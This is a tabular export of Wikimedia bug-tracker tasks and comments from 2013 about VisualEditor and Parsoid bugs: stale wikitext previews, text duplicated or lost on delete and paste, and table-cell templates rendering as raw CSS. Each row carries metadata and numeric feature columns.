219916,VisualEditor: Support transactions on metadata,https://gerrit.wikimedia.org/r/#/c/49182/,,,1360891883,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-266a7gondg6gygyomb2r,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
47021,VisualEditor: Wikitext preview doesn't refresh in new page creation mode,"1. Load a new (i.e. not currently existing) page into VE
2. Type some text
3. Click ""Review and save"". The corresponding wikitext appears in a flyout
4. Close the flyout using the up arrow
5. Change the text in the editor
6. Click ""Review and save"" again.

The flyout that appears in #6 will display the same wikitext as in #3, even though you changed the document. The diff flyout handles this correctly (i.e. it caches the old diff until you change something), but the serialization flyout for new page creation never clears its cache.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1360878660,1360878886.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-tqdmz6elwsrngx5orrvl,task_description,resolved,True,c1,1,False,False,True,-20,,0.5,0.5,0.0,0.0,0.5,4.5,0.0,0.0,0.5,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,6.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,4.5,0.0,1.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.5,0.0,9.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.0,7.5,0.5,1.5,8.5,0.0,0.0,0.0,1.5,5.5,0.0,4.0,0.0,3.0,6.0,0.5,0.0,2.0,0.0,3.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,1.5,3.6619718309859155,0.676056338028169,"1. Load a new (i.e. not currently existing) page into VE
2. Type some text
3. Click ""Review and save"". The corresponding wikitext appears in a flyout
4. Close the flyout using the up arrow
5. Change the text in the editor
6. Click ""Review and save"" again.

The flyout that appears in #6 will display the same wikitext as in #3, even though you changed the document. The diff flyout handles this correctly (i.e. it caches the old diff until you change something), but the serialization flyout for new page creation never clears its cache.

--------------------------
**Version**: unspecified
**Severity**: normal"
219456,VisualEditor: Wikitext preview doesn't refresh in new page creation mode,"

*** This bug has been marked as a duplicate of bug 44446 ***",,,1360878886,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqdmz6elwsrngx5orrvl,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 44446 ***"
46702,VisualEditor: Parsoid selective serialisation failure when deleting an LI (artefact of old version of Parsoid?),"**Author:** `phil`

**Description:**
shows the result after a save with 'friend' being duplicated

Text was several lines long
Placed cursor at start of last line
Pressed delete to move the line up to the same line as the second to last
Saved
The last line has not been deleted and it also present on the second to last

Screenshot attached
This
is
the
end
my
friend

- put cursor at start of friend and pressed delete and then added a space

Screenshot shows the result, 'friend' is now in twice

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10875}",High,80.0,1360124400,1366396569.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jnxq7ir4c6munsrkbn2f,task_description,resolved,True,c1,1,False,False,True,-21,,0.5,0.0,0.0,1.0,0.5,5.5,1.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.5,0.0,3.5,7.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,3.0,9.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,7.5,3.5,0.0,2.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.509903739355794,0.6187523139577934,"**Author:** CODE

**Description:**
shows the result after a save with 'friend' being duplicated

Text was several lines long
Placed cursor at start of last line
Pressed delete to move the line up to the same line as the second to last
Saved
The last line has not been deleted and it also present on the second to last

Screenshot attached
This
is
the
end
my
friend

- put cursor at start of friend and pressed delete and then added a space

Screenshot shows the result, 'friend' is now in twice

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10875}"
226357,VisualEditor: Parsoid selective serialisation failure when deleting an LI (artefact of old version of Parsoid?),This is now fixed given the Parsoid update. Sorry for the delay.,,,1366396569,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jnxq7ir4c6munsrkbn2f,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,21.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,0.8571428571428571,This is now fixed given the Parsoid update. Sorry for the delay.
226352,VisualEditor: Parsoid selective serialisation failure when deleting an LI (artefact of old version of Parsoid?),"Thanks for this, report Phil; I can confirm the issue.

It is probably due to us running quite an old version of Parsoid on the live service; we need to update it to a newer version (which has been delayed for other before I can determine if we still have action to take here).",,,1360210562,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jnxq7ir4c6munsrkbn2f,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,2.0,3.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,16.0,3.0,0.0,0.0,0.0,11.0,0.0,2.0,3.0,2.0,2.0,2.0,0.0,0.0,3.629032258064516,0.8225806451612904,"Thanks for this, report Phil; I can confirm the issue.

It is probably due to us running quite an old version of Parsoid on the live service; we need to update it to a newer version (which has been delayed for other before I can determine if we still have action to take here)."
46701,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"**Author:** `phil`

**Description:**
Page after cut and paste of 'a b c' only showing the 'a'

Created a simple file
a
b
c

Copied all the text, placed the cursor after the 'c' and pasted it
The 'a' from the copy was pasted, the 'b' and 'c' were lost

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10869}",High,80.0,1360122240,1366396479.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_description,resolved,True,c1,1,False,False,True,-21,,0.5,0.0,0.0,2.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.5,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,7.5,0.0,2.5,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,2.5,0.0,9.0,0.0,1.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.5,2.832634521313767,0.532669461914745,"**Author:** CODE

**Description:**
Page after cut and paste of 'a b c' only showing the 'a'

Created a simple file
a
b
c

Copied all the text, placed the cursor after the 'c' and pasted it
The 'a' from the copy was pasted, the 'b' and 'c' were lost

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10869}"
226322,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),This is now fixed given the Parsoid update. Sorry for the delay.,,,1366396479,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,21.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,0.8571428571428571,This is now fixed given the Parsoid update. Sorry for the delay.
226317,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"Ah, right. This is, I think, a Parsoid-related bug, which should get fixed when the new version of Parsoid can be deployed; assigning to myself for review when we get that out.",,,1361403605,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,12.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,7.0,10.0,2.0,0.0,0.0,0.0,7.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,3.5365853658536586,0.8292682926829268,"Ah, right. This is, I think, a Parsoid-related bug, which should get fixed when the new version of Parsoid can be deployed; assigning to myself for review when we get that out."
226312,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"**orbit** wrote:

I think this is a serialization bug. The linear model shows the full data after paste:  
[
Object
, ""a"", 
Object
, 
Object
, ""b"", 
Object
, 
Object
, ""c"", ""a"", 
Object
, 
Object
, ""b"", 
Object
, 
Object
, ""c"", 
Object
]
but it's not correctly saving. Testing here: http://www.mediawiki.org/wiki/VisualEditor:CopyPaste",,,1361401270,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,False,,,-19,,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,1.0,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,13.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.0,0.5,10.5,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,9.5,0.0,1.5,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.375,0.46153846153846156,"**orbit** wrote:

I think this is a serialization bug. The linear model shows the full data after paste:  
[
Object
, ""a"", 
Object
, 
Object
, ""b"", 
Object
, 
Object
, ""c"", ""a"", 
Object
, 
Object
, ""b"", 
Object
, 
Object
, ""c"", 
Object
]
but it's not correctly saving. Testing here: URL"
226306,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"**phil** wrote:

This was Safari/Mac - I have just tried it on Chrome/Mac and was able to reproduce

Just to confirm the steps
a
b
c

Save this - this is 3 separate lines
Edit
Copy all the text, paste after the 'c'",,,1360210696,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,False,,,-21,,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,16.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,3.0,6.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.857142857142857,0.6984126984126984,"**phil** wrote:

This was Safari/Mac - I have just tried it on Chrome/Mac and was able to reproduce

Just to confirm the steps
a
b
c

Save this - this is 3 separate lines
Edit
Copy all the text, paste after the 'c'"
226299,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"Phil, what browser were you using? I'm afraid I cannot reproduce on Chrome/Mac or Safari/Mac; Firefox has wider issues (that mean I can't copy-and-paste anything; to follow-up).",,,1360210375,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,True,,,-21,,0.0,2.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,4.0,13.0,2.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,3.2127659574468086,0.851063829787234,"Phil, what browser were you using? I'm afraid I cannot reproduce on Chrome/Mac or Safari/Mac; Firefox has wider issues (that mean I can't copy-and-paste anything; to follow-up)."
46498,Template creating CSS in a table's cell does not come through,"Screenshot

When edited in VisualEditor, the following table:

```
{| class=""wikitable""
|- 
! Header
|-
| {{Yes}}
|}
```
... shows the following string in place of the {{Yes}} template:

style=""background: #90ff90; color: black; vertical-align: middle; text-align: center; "" class=""table-yes""|Yes

See screenshot.
Live at http://en.wikipedia.org/wiki/User:Nicolas1981/Sandbox

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50589

**Attached**: {F10493}",High,80.0,1359530280,1377186266.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-jer6pedsydbmctp5xlhb,task_description,resolved,True,c1,1,False,False,True,-22,,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,12.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,3.0,0.5,0.5,0.0,0.0,2.5,4.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,3.3425925925925926,0.5648148148148149,"Screenshot

When edited in VisualEditor, the following table:

``CODE``
... shows the following string in place of the {{Yes}} template:

style=""background: #90ff90; color: black; vertical-align: middle; text-align: center; "" class=""table-yes""|Yes

See screenshot.
Live at URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F10493}"
213915,Template creating CSS in a table's cell does not come through,"Change 76861 abandoned by Subramanya Sastry:
WIP: first draft of td reparse.

Reason:
Not required anymore. A DOM-based solution is already merged and in production.

https://gerrit.wikimedia.org/r/76861",,,1386964245,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,24.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.105263157894737,0.8421052631578947,"Change 76861 abandoned by Subramanya Sastry:
WIP: first draft of td reparse.

Reason:
Not required anymore. A DOM-based solution is already merged and in production.

GERRIT_URL"
213907,Template creating CSS in a table's cell does not come through,Minor niggle: The caches are not yet cleared as we don't have the rights to do so. Cached pages will only update to the correct rendering after that has happened.,,,1377187050,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,15.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.911764705882353,0.8823529411764706,Minor niggle: The caches are not yet cleared as we don't have the rights to do so. Cached pages will only update to the correct rendering after that has happened.
213898,Template creating CSS in a table's cell does not come through,"(In reply to comment #31)
> (In reply to comment #19)
> > Scott, is the glitch with the certification tables at
> > http://en.wikipedia.org/w/index.
> > php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
> > another effect of 50589, this bug, or should I open a new bug report for it?
> 
> That was bug 50589, which is now fixed.

Correction: It was very similar to 50589, but not quite the same.

In other news about this bug, https://gerrit.wikimedia.org/r/#/c/79943/ is now deployed, which covers the vast majority of cases including the ones mentioned here. Closing as fixed.",,,1377186266,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,1.0,1.0,1.0,6.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,19.0,0.0,1.0,7.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,1.0,10.0,12.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5294117647058822,0.6911764705882353,"(In reply to comment #31)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Correction: It was very similar to 50589, but not quite the same.

In other news about this bug, URL is now deployed, which covers the vast majority of cases including the ones mentioned here. Closing as fixed."
213888,Template creating CSS in a table's cell does not come through,"(In reply to comment #19)
> Scott, is the glitch with the certification tables at
> http://en.wikipedia.org/w/index.
> php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
> another effect of 50589, this bug, or should I open a new bug report for it?

That was bug 50589, which is now fixed.",,,1377035994,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.925925925925926,0.7777777777777778,"(In reply to comment #19)
QUOTE
QUOTE
QUOTE
QUOTE

That was bug 50589, which is now fixed."
213880,Template creating CSS in a table's cell does not come through,The DOM handler is now ready for review in https://gerrit.wikimedia.org/r/#/c/79943/.,,,1377032382,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,The DOM handler is now ready for review in URL
213873,Template creating CSS in a table's cell does not come through,I'm working on a DOM-based handler for this. Re-assigning the bug to myself.,,,1376945009,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,5.0,3.2,0.9,I'm working on a DOM-based handler for this. Re-assigning the bug to myself.
213869,Template creating CSS in a table's cell does not come through,"Parsoid support for this and a related table parsing issue is tracked in bug 50603, and should be ready in the next weeks.",,,1375651884,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,4.0,0.0,16.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.92,"Parsoid support for this and a related table parsing issue is tracked in bug 50603, and should be ready in the next weeks."
213865,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:

(In reply to comment #26)
> On the enwiki-20130102-pages-articles-multistream.xml.bz2 dump, there are:
>  13,057,082 articles, of which

That looks like all namespaces, not just articles.

>  11,877 (0.091%) have some use of [[Template:Table_cell_templates]], and
>  1,875 (0.014%) have a non-trivial use (ie, the preceding character is not
> |).

That sounds about right. As a percentage of our most frequently edited articles, I suspect the percentage is much higher, though. The primary use is in award tables, and while the millions of articles about ghost towns, obscure shellfish, and asteroids tend not to discuss awards, while the ones about modern music, television, and films frequently do.",,,1375230977,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,1.5,0.0,0.0,0.0,1.5,4.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,6.0,9.5,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,6.5,2.0,3.0,6.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,1.5,9.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,3.933962264150943,0.7075471698113207,"**kwwilliams** wrote:

(In reply to comment #26)
QUOTE
QUOTE

That looks like all namespaces, not just articles.

QUOTE
QUOTE
QUOTE

That sounds about right. As a percentage of our most frequently edited articles, I suspect the percentage is much higher, though. The primary use is in award tables, and while the millions of articles about ghost towns, obscure shellfish, and asteroids tend not to discuss awards, while the ones about modern music, television, and films frequently do."
